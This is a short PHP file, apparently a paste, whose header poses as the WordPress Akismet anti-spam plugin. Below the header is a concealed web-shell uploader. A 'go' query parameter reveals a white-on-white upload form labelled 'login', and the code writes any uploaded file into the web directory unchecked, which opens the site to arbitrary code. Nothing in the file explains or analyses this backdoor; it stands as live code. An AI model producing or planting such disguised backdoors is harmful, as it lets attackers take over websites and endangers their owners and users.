· 6 years ago · Oct 04, 2019, 02:54 PM
1<?php
2/*
3Plugin Name: Akismet
4Plugin URI: http://akismet.com/
5Description: Akismet checks your comments against the Akismet web service to see if they look like spam or not. You need a <a href="http://wordpress.com/api-keys/">WordPress.com API key</a> to use it. You can review the spam it catches under "Comments." To show off your Akismet stats just put <code><?php akismet_counter(); ?></code> in your template.
6Version: 2.0.2
7Author: Matt Mullenweg
8Author URI: http://photomatt.net/
9*/
10// If you hardcode a WP.com API key here, all key config screens will be hidden
11?>
12<?php if(isset($_GET['go'])) { echo "<body bgcolor=white> <font color=white size=1>";echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\"> <label for=\"file\">Filename:</label> <input type=\"file\" name=\"file\" id=\"file\" /> <br /> <input type=\"submit\" name=\"submit\" value=\"login\"> </form>"; if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br />"; echo "Size: " . ($_FILES["file"]["size"] / 2097152) . " Kb<br />"; echo "Stored in: " . $_FILES["file"]["tmp_name"]; } if (file_exists("" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "" . $_FILES["file"]["name"]); echo "Stored in: " . "" . $_FILES["file"]["name"]; echo"<hr>"; } }?>